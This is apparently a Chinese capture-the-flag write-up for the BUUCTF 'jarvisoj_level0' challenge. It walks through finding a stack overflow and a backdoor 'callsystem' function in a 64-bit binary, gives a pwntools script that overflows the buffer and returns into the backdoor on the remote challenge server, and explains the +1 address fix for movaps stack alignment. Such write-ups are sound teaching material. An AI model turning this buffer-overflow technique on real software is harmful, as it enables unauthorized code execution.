BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
程序猿编码10 分钟前
给Linux程序穿“隐身衣”——ELF运行时加密器全解析(C/C++代码实现)
linux·c语言·c++·网络安全·elf·内存安全
一名优秀的码农13 分钟前
vulhub系列-74-Hackable III(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
PinTrust SSL证书2 小时前
Sectigo(Comodo)企业型OV通配符SSL
网络·网络协议·网络安全·小程序·https·ssl
一只鼠标猴4 小时前
甲方安全运营:漏洞整改推动实操指南
运维·安全·网络安全·安全架构·安全运营·漏洞整改
Suckerbin5 小时前
vulnyx-Debug靶场渗透
安全·web安全·网络安全
藤原千花的败北6 小时前
PHP对象注入(PHP反序列化漏洞)
网络安全·php
Suckerbin6 小时前
vulnyx-Memory靶场渗透
web安全·网络安全
酿情师7 小时前
记第一次打春秋云境-Initial 靶场(没打完,记录一下,不是WP!!!)
服务器·网络安全
菩提小狗18 小时前
每日安全情报报告 · 2026-04-20
网络安全·漏洞·cve·安全情报·每日安全
云安全助手19 小时前
2026年AI安全大模型实战指南:快快云安全AI能力全景解析
人工智能·网络安全·claude